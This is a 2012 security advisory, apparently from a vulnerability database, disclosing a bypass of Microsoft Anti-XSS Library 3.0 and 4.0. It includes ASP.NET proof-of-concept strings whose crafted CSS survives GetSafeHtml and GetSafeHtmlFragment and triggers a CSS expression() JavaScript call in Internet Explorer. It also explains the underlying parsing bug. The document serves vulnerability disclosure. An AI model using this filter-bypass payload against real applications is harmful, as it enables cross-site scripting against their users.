Microsoft Anti-XSS Library Bypass

🗓️ 19 Jan 2012 00:00:00Reported by Adi CohenType

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Microsoft Anti-XSS Library Bypass, XSS Vulnerability, Impact on Application

`Introduction  
-------------  
Microsoft Anti-XSS Library is used to protect applications from Cross-Site Scripting attacks, by providing methods for input sanitization.  
  
Vulnerability  
-------------  
Microsoft Anti-XSS Library 3.0 and 4.0 are vulnerable to an attack in which an attacker is able to create a specially formed CSS, that after passing through the GetSafeHTML or GetSafeHtmlFragment methods, contains an expression that triggers a JavaScript call in Internet Explorer.  
  
The following ASP.NET code demonstrates the vulnerability:  
  
1. string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("<html>a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div></html>");  
  
2. string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style=\"font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'\">aaa</div>");   
  
Explanation  
-----------  
The string value can be broken down as follows:  
  
div{  
font-family:Foo,Bar\,'a\a';  
font-family:';color:expression(alert(1));y'  
}  
  
A bug in the Anti-XSS library causes the closing apostrophe in the first CSS rule to be dropped. Because of the string not being properly terminated, Internet Explorer now renders this CSS in a different way, which triggers a javascript call:  
  
div{  
font-family:Foo,Bar\,'a\a;font-family:';  
color:expression(alert(1));  
y'  
}  
  
Impact  
------  
Every application that relies on either GetSafeHTML or GetSafeHtmlFragment to sanitize user supplied data is vulnerable to XSS.  
  
References  
----------  
http://www.securityfocus.com/bid/51291  
http://technet.microsoft.com/en-us/security/bulletin/ms12-007  
http://blog.watchfire.com/wfblog/2012/01/microsoft-anti-xss-library-bypass.html  
  
  
Adi Cohen <[email protected]>  
IBM Security Systems - Security Research Group  
`

19 Jan 2012 00:00Current

7.4High risk

Vulners AI Score7.4